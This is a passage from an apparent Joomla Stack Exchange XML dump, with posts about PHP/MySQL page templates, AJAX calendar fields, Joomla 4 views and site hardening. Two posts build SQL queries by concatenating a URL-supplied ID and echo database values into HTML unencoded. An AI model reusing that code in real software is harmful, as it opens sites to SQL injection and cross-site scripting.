this. I will be adding a couple of checks in my final code. This was just to figure out what would work.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="130" LastEditDate="2019-12-01T14:18:13.477" LastActivityDate="2019-12-01T14:18:13.477" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26466" PostTypeId="2" ParentId="19409" CreationDate="2019-11-29T15:54:32.150" Score="0" Body="&lt;p&gt;You can use the Module from: &lt;a href=&quot;https://db8.eu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://db8.eu/&lt;/a&gt; to display article creating, updated Date to any module position&lt;/p&gt;&#xA;" OwnerUserId="13947" LastActivityDate="2019-11-29T15:54:32.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26467" PostTypeId="1" CreationDate="2019-11-30T10:42:24.963" Score="0" ViewCount="461" Body="&lt;p&gt;On my old website built in PHP, I had a link on a page which picked an ID based on what line was clicked.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td width=124&amp;gt;&amp;lt;a href=&amp;quot;tp/package.php?ID=&amp;lt;?php echo $row[0];?&amp;gt;&amp;quot;&amp;gt;Package&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the link was pressed, it brought that ID with it, and helped populate the next page (package.php) with values from mysql based on that ID.&lt;/p&gt;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = &amp;quot;SELECT * FROM `TABLE_NAME` WHERE `ID`='&amp;quot; . $id . &amp;quot;'&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I am trying to do the same in Joomla. I have the link ready:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;td class=&amp;quot;first&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;index.php/package?ID='. $row-&amp;gt;ID .'&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I just cannot figure out how to write the code on that page, so it can populate the table based on that id.&lt;/p&gt;&#xA;&lt;p&gt;The current code that I am experimenting with on the package-page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$option = array();&#xA;$option['driver'] = 'mysql';&#xA;$option['host'] = 'HOST';&#xA;$option['user'] = 'USER';&#xA;$option['password'] = 'PASSWORD';&#xA;$option['database'] = 'DATABASE';&#xA;$option['prefix'] = '';&#xA;&#xA;$db = JDatabaseDriver::getInstance($option);&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('ID', 'DESCRIPTION', 'MGRS')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('redsands_strike'));&#xA;$query = &amp;quot;SELECT * FROM `redsands_strike` WHERE `ID`='&amp;quot; . $id . &amp;quot;'&amp;quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);$results = $db-&amp;gt;loadObjectList();&#xA; &#xA;while($row = mysqli_fetch_array($result)){ &#xA;    echo &amp;quot;&amp;lt;table id='customers' &amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;T/ID#:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;&amp;quot; . $row['ID'] . &amp;quot;&amp;lt;/th&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;Description:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot; . $row['DESCRIPTION'] . &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;                &#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;MGRS:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot; . $row['MGRS'] . &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;LL DDM:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot; . $row['DDM'] . &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;LL DMS:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot; . $row['DMS'] . &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;Altitude:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot; . $row['ALT'] . &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;&#xA;        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;th&amp;gt;Recon images:&amp;lt;/th&amp;gt;&amp;quot;;&#xA;            echo '&amp;lt;td&amp;gt;&amp;lt;img src=&amp;quot;/tp/'. $row['ID'] .'_a.jpg&amp;quot;/&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;img src=&amp;quot;/tp/'. $row['ID'] .'_b.jpg&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;';&#xA;        echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&#xA;    }&#xA;echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this doesn't seem to be working.&lt;/p&gt;&#xA;&lt;p&gt;This is my first question here, so I hope I get clear and easy to understand support.&lt;/p&gt;&#xA;&lt;p&gt;My goal is to have one &amp;quot;article template&amp;quot; page called &amp;quot;package&amp;quot; which will pull the proper information based on the ID given from URL that is brought by pressing the link from the page before.&lt;/p&gt;&#xA;" OwnerUserId="13950" LastEditorUserId="12352" LastEditDate="2022-01-18T02:01:23.667" LastActivityDate="2024-02-07T06:08:51.143" Title="Article content to load from mysql based on ID in url" Tags="|joomla-3.x|php|mysql|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26468" PostTypeId="2" ParentId="26467" CreationDate="2019-11-30T15:25:04.653" Score="0" Body="&lt;p&gt;I got it working, by using the entire code from before. &#xA;Didnt even think about testing it int its purity since i assumed that the connection needed to be rebuilt. But it worked with a simple copy/paste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all help!&lt;/p&gt;&#xA;" OwnerUserId="13950" LastActivityDate="2019-11-30T15:25:04.653" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26469" PostTypeId="1" AcceptedAnswerId="26490" CreationDate="2019-12-01T05:26:14.327" Score="3" ViewCount="876" Body="&lt;p&gt;I am trying to create a Calendar field in Joomla 3.9 inside my custom component.  Since I am framing this inside an AJAX script, I can't use the XML form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code I am using.  The field gets displayed, but when I click, the popup is not coming.  There is no error captured in the console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html .= &quot;&amp;lt;div class='controls'&amp;gt;&quot;;&#xA;$html .= JHtml::_('calendar', '', &quot;jform_field_4&quot;, &quot;jform_field_4&quot;, '%Y-%m-%d', '');&#xA;$html .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following are the inserts which are already done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;/jschool/media/system/css/fields/calendar.css&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&amp;lt;script src=&quot;/jschool/media/system/js/fields/calendar-locales/en.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/jschool/media/system/js/fields/calendar-locales/date/gregorian/date-helper.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/jschool/media/system/js/fields/calendar.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML content rendered as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;field-calendar&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;input-append&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;jform_field_4&quot; name=&quot;jform_field_4&quot; value=&quot;&quot; data-alt-value=&quot;&quot; autocomplete=&quot;off&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; id=&quot;jform_field_4_btn&quot; data-inputfield=&quot;jform_field_4&quot; data-dayformat=&quot;%Y-%m-%d&quot; data-button=&quot;jform_field_4_btn&quot; data-firstday=&quot;0&quot; data-weekend=&quot;0,6&quot; data-today-btn=&quot;1&quot; data-week-numbers=&quot;1&quot; data-show-time=&quot;0&quot; data-show-others=&quot;1&quot; data-time-24=&quot;24&quot; data-only-months-nav=&quot;0&quot; title=&quot;Open the calendar&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;icon-calendar&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On deep diving the HTML code, I found the block missing in the rendered HTML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;js-calendar&quot; style=&quot;direction: ltr; position:.....&#xA;.....&#xA;.....&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this block of code is missing and why the popup is not coming?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Full Flow of the code is as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Views&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the load template to load profile_fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;loadTemplate('profile_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AJAX&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method called at page load&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getFields(){&#xA;    jQuery('#ajax_loader_image_2').show();&#xA;    jQuery('#task').val('profile.getFields');&#xA;    var dataString = jQuery(&quot;#profile-form&quot;).serialize();&#xA;&#xA;    return jQuery.ajax({&#xA;        type: 'POST',&#xA;        url: 'index.php',&#xA;        data: dataString,&#xA;        success: function(result){&#xA;        },&#xA;        error: function(result){&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Controller&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That calls the model to load the HTML content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getFields(){&#xA;    JFactory::getDocument()-&amp;gt;setMimeEncoding( 'application/json' );&#xA;    $model = $this-&amp;gt;getModel();&#xA;    $response = $model-&amp;gt;getFields();&#xA;    echo $response ;&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Model to frame the Calendar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getFields() {&#xA;&#xA;    $field &amp;lt;-- this is an object contains an uniqe id, type etc...&#xA;    $html_content = $this-&amp;gt;convertFieldHtml ( $field );&#xA;    return $html_content;&#xA;}&#xA;&#xA;&#xA;private function convertFieldHtml($field) {&#xA;    $field_type = $field-&amp;gt;fldtype_html_field;&#xA;    $html = '';&#xA;&#xA;    $properties = $this-&amp;gt;getFieldProperties ( $field );&#xA;&#xA;    switch ($field_type) {&#xA;        case 'date' :&#xA;            $html = $this-&amp;gt;loadDateField ($properties, $field );&#xA;            break;&#xA;    }&#xA;    return $html;&#xA;}&#xA;&#xA;private function loadDateField($properties, $field) {&#xA;&#xA;    $html = '';&#xA;    $html .= &quot;&amp;lt;div class='control-group'&amp;gt;&quot;;&#xA;&#xA;    // Set the control&#xA;    $html .= &quot;&amp;lt;div class='controls'&amp;gt;&quot;;&#xA;&#xA;    $attribs = array();&#xA;    $attribs['size']=18;&#xA;    $attribs['maxlength']=20;&#xA;&#xA;    $html .= JHtml::calendar('', &quot;jform_field_&quot;.$field-&amp;gt;field_id, &quot;jform_field_&quot;.$field-&amp;gt;field_id, '%Y-%m-%d',$attribs);&#xA;    //$html .= JHtml::_('calendar','', &quot;jform_field_&quot;.$field-&amp;gt;field_id, &quot;jform_field_&quot;.$field-&amp;gt;field_id, '%Y-%m-%d',$attribs);&#xA;&#xA;    if ($field-&amp;gt;field_tooltip) {&#xA;        $html .= &quot;&amp;lt;div&amp;gt;&quot; . $field-&amp;gt;field_tooltip . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;    $html .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;    $html .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2019-12-03T04:27:40.807" LastActivityDate="2019-12-25T13:13:10.163" Title="Add a Calendar field in Joomla 3.9 without using form xml" Tags="|joomla-3.x|javascript|calendar|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26471" PostTypeId="2" ParentId="26467" CreationDate="2019-12-01T12:21:19.337" Score="0" Body="&lt;pre&gt;&lt;code&gt;Just the same code as i had on my old clean php website. Copied the code and pasted it and it worked right away. &#xA;Might work on it more when i have the website opened. Right now im all for it to work. &#xA;&#xA;// Create connection&#xA;$conn = new mysqli($servername, $username, $password, $db_name);&#xA;// Check connection&#xA;if ($conn-&amp;gt;connect_error){&#xA;  die(&quot;Connection failed: &quot; . $conn-&amp;gt;connect_error);&#xA;} &#xA;$id = $_GET['ID'];&#xA;$id = mysqli_real_escape_string($conn,$id);&#xA;$query = &quot;SELECT ID,SUBSTRING(DESCRIPTION, 4) AS DESCRIPTION, MGRS, DDM, DMS, ALT FROM `redsands_strike` WHERE `ID`='&quot; . $id . &quot;'&quot;;&#xA;$result = mysqli_query($conn,$query);&#xA;&#xA;while($row = mysqli_fetch_array($result)){&#xA;echo &quot;&amp;lt;table id='customers' &amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;T/ID#:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['ID'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Description:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['DESCRIPTION'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;MGRS:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['MGRS'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;LL DDM:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['DDM'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;LL DMS:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['DMS'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Altitude:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;td&amp;gt;&quot; . $row['ALT'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th valign='top'&amp;gt;Recon images:&amp;lt;/th&amp;gt;&quot;;&#xA;                echo '&amp;lt;td&amp;gt;&amp;lt;img src=&quot;/tp/'. $row['ID'] .'_a.jpg&quot;/&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;img src=&quot;/tp/'. $row['ID'] .'_b.jpg&quot;/&amp;gt;&amp;lt;/td&amp;gt;';&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;            }&#xA;echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13950" LastActivityDate="2019-12-01T12:21:19.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26472" PostTypeId="1" CreationDate="2019-12-02T00:34:38.867" Score="1" ViewCount="59" Body="&lt;p&gt;One of my site's media/template folder continues to generate new css and js files every few days.  Each file is appended with an 8-character string of random alphanumeric characters.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I expect to see:&#xA;stylesheet.css   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I actually see:&#xA;stylesheet.ga83laE2.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site functions fine, but because new files are generated every few days, I end up having to go in and delete files (assuming they are older versions).  I suspect this is due to htaccess mod_rewrite or a template's compression scheme, but for the life of me I can't figure out the cause.  I thought it was the debug plugin, but switched that off.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the source of this?  Or why Joomla isn't automatically deleting the older files when it creates new ones?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12403" LastActivityDate="2023-12-11T08:02:15.303" Title="Media/Template folder fills up with constantly generating css and js files with 8 random characters appended to filenames" Tags="|css|.htaccess-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26473" PostTypeId="2" ParentId="26472" CreationDate="2019-12-02T02:01:42.730" Score="0" Body="&lt;p&gt;This is probably a function of the template designed to ensure website visitors are seeing the latest version of the stylesheet (rather than a cached copy which may be outdated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the settings in the template to see if you have any control over this or check with the template developer for advice.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-12-02T02:01:42.730" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26474" PostTypeId="2" ParentId="18842" CreationDate="2019-12-02T15:16:20.453" Score="1" Body="&lt;p&gt;Adding an answer since mine was similar to itoctopus with SiteGround. Instead of a plugin there was a service created by SiteGround that was causing the css file to be cached. It could be interacted with via the CPanel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.siteground.com/tutorials/supercacher/introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;SuperCacher Introduction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13953" LastActivityDate="2019-12-02T15:16:20.453" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26475" PostTypeId="1" CreationDate="2019-12-02T16:03:14.553" Score="0" ViewCount="34" Body="&lt;p&gt;I'm trying to harden a Joomla website (v3.9.13).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem which has been picked up is that the &quot;Forgot password&quot; can be used by a malicious person to check whether an email address is valid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put in a bad one, it tells you that it's invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put in a good one, it tells you that an email has been sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you can tell whether the email is valid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also asked on &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=714&amp;amp;t=976191#p3587991&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=714&amp;amp;t=976191#p3587991&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13954" LastEditorUserId="13954" LastEditDate="2019-12-02T17:32:57.710" LastActivityDate="2019-12-02T17:32:57.710" Title="&quot;Forgot password&quot; can be used to determine whether email is valid. How to harden against this?" Tags="|login|" AnswerCount="0" CommentCount="2" ClosedDate="2019-12-02T20:19:08.410" ContentLicense="CC BY-SA 4.0" />
  <row Id="26477" PostTypeId="1" CreationDate="2019-12-02T20:42:23.083" Score="0" ViewCount="29" Body="&lt;p&gt;I work on a custom Joomla module that creates articles programmatically. I use the below code to create the article. It all works fine. Now I would need to get back the ID of the newly create article so that I can store it for future use. I checked the bind, check, store functions, but none of them seem to return the ID. How can I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;W. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static function createArticle(GNGLocation $loc, GNGLang $lang, $title, $alias, $intro, $summary, $imageStr) {&#xA;&#xA;        $table = JTable::getInstance('Content', 'JTable', array());&#xA;&#xA;        $jcat = $loc-&amp;gt;get('jcat_id_tour');&#xA;        $jlang = $lang-&amp;gt;get('joomlaName');&#xA;&#xA;        $data = array(&#xA;            'catid' =&amp;gt; $jcat,&#xA;            'title' =&amp;gt; $title,&#xA;            'alias' =&amp;gt;  $alias,&#xA;            'language' =&amp;gt; $jlang,&#xA;            'introtext' =&amp;gt; $summary,&#xA;            'fulltext' =&amp;gt; $intro,&#xA;            'state' =&amp;gt; 0,&#xA;        );&#xA;&#xA;        // Bind data&#xA;        if (!$table-&amp;gt;bind($data))&#xA;        {&#xA;            throw new Exception(&quot;Failed to bind article data. Error: &quot; . $table-&amp;gt;getError());&#xA;        }&#xA;&#xA;        // Check the data.&#xA;        if (!$table-&amp;gt;check())&#xA;        {&#xA;            throw new Exception(&quot;Failed to check article data. Error: &quot; . $table-&amp;gt;getError());&#xA;        }&#xA;&#xA;        // Store the data.&#xA;        if (!$table-&amp;gt;store())&#xA;        {&#xA;            throw new Exception(&quot;Failed to store article data. Error: &quot; . $table-&amp;gt;getError());&#xA;        }&#xA;&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-12-02T20:42:23.083" Title="How to get back the ID of programmatically created Joomla Article?" Tags="|joomla-3.x|articles|" AnswerCount="0" CommentCount="3" ClosedDate="2019-12-03T11:16:12.550" ContentLicense="CC BY-SA 4.0" />
  <row Id="26478" PostTypeId="1" AcceptedAnswerId="26535" CreationDate="2019-12-03T02:43:10.537" Score="1" ViewCount="669" Body="&lt;p&gt;I'm rebuilding a component called &lt;code&gt;DogWalk&lt;/code&gt; for Joomla 4 and I've tried to ensure I'm doing exactly what the core &lt;code&gt;Banners&lt;/code&gt; component does. I've named and namespaced my files, named my directories identically to how &lt;code&gt;Banners&lt;/code&gt; does it, but I can't get the &lt;code&gt;BaseController&lt;/code&gt; to find my view file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm dumping the &lt;code&gt;$this-&amp;gt;paths&lt;/code&gt; array from &lt;code&gt;BaseController::createView&lt;/code&gt;, and the path is the same for &lt;code&gt;Banners&lt;/code&gt; and for &lt;code&gt;DogWalk&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=1)&#xA;  'view' =&amp;gt; &#xA;    array (size=1)&#xA;      0 =&amp;gt; string '/Users/mystuff/Sites/joomla4/administrator/components/com_dogwalk/views/'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However my component is looking for a file called &lt;code&gt;mycomponentViewviewname&lt;/code&gt; while the actual view class name for &lt;code&gt;Banners&lt;/code&gt; (and all the other admin components) is just &lt;code&gt;HtmlView&lt;/code&gt;. Furthermore the &lt;code&gt;Banners&lt;/code&gt; view class is found even though it's in &lt;code&gt;View&lt;/code&gt;, not &lt;code&gt;views&lt;/code&gt; (despite what &lt;code&gt;$config&lt;/code&gt; array says).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I define where the controller will find my views, and what naming convention they would use?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2019-12-03T02:48:18.327" LastActivityDate="2019-12-15T20:00:22.640" Title="How to set the view location in Joomla 4" Tags="|mvc|view|joomla-4.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26479" PostTypeId="1" CreationDate="2019-12-03T05:47:44.053" Score="1" ViewCount="19" Body="&lt;p&gt;We have moved to a Shopify site for our cart and moving all other data across. I'm trying to create 301 redirects for our K2 blog content and struggling.&lt;/p&gt;&#xA;&lt;p&gt;Using the Joomla Redirects (image) for all blog posts still won't redirect. I've created new blog pages in Shopify.&lt;/p&gt;&#xA;&lt;p&gt;Version Joomla! 3.3.3 Stable [ Ember ] 25-July-2014 13:00 GMT&#xA;PHP Version 5.6.40&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VQoqv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQoqv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13955" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-12-03T05:47:44.053" Title="Create 301 for Joomla K2 to Shopify Blog" Tags="|joomla-3.3.x|k2|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26480" PostTypeId="1" CreationDate="2019-12-03T10:04:57.667" Score="0" ViewCount="40" Body="&lt;p&gt;I'm trying to harden a Joomla site (v3.9.13).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security team have raised an issue regarding redirects. They require that there should be a whitelist of addresses to which the website can redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? And is there a suggested solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="13954" LastActivityDate="2020-01-03T21:01:00.560" Title="How to prevent &quot;unvalidated redirects&quot;?" Tags="|security|redirect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26481" PostTypeId="1" AcceptedAnswerId="26483" CreationDate="2019-12-04T00:49:26.853" Score="1" ViewCount="294" Body="&lt;p&gt;I have created a system plugin for onAfterRender event however I'm unable to make it execute. I'm on Joomla 3.9 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the sample code of the plugin&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;    &amp;lt;!--&#xA;    /**&#xA;     * @copyright   Copyright (c) 2018 myvendorcustomscripts. All rights reserved.&#xA;     * @license     http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA;     */&#xA;    --&amp;gt;&#xA;    &amp;lt;extension type=&quot;plugin&quot; version=&quot;1.0&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;plg_system_myvendorcustomscripts&amp;lt;/name&amp;gt;&#xA;        